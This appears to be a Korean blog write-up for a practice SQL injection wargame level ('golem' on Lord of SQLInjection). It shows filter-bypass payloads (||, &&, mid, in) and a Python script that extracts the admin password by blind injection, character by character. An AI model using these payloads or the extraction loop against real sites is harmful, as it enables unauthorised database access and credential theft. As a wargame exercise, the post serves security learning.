728x90
이번에도 blind sql injection을 이용하는 문제다.
or, and, substr 등이 필터링 된다.
or는 ||, and는 &&로 우회할 수 있고, substr는 mid 함수로, =은 in으로 쓰면 된다.
아래와 같이 입력해보았다.
?pw=' || id in("admin") %23
Hello admin이라고 뜬다.
마찬가지로 쿼리 뒤에 && length(pw) in ("8") #을 추가해 pw의 길이가 8임을 확인했다.
pw를 알아내기 위헤 파이썬을 이용해 자동화 프로그램을 작성했다.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers= {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36'}
cookies= {'PHPSESSID':'세션아이디'}
result=''
for i in range(1,9):
for j in range(32,128):
params= {'pw':'\' || id in(\'admin\') && ascii(mid(pw,{},1)) in ({}) #'.format(i,j)}
res = requests.get(url,headers=headers,cookies=cookies,params=params)
if 'Hello admin' in res.text:
result += chr(j)
break
print("Result : " + result)
실행 결과는 아래와 같다.
Clear!
728x90
'WEB > LOS' 카테고리의 다른 글
[LOS] bugbear (0) | 2021.07.21 |
---|---|
[LOS] darkknight (0) | 2021.07.16 |
[LOS] skeleton (0) | 2021.06.27 |
[LOS] vampire (0) | 2021.06.27 |
[LOS] troll (0) | 2021.06.27 |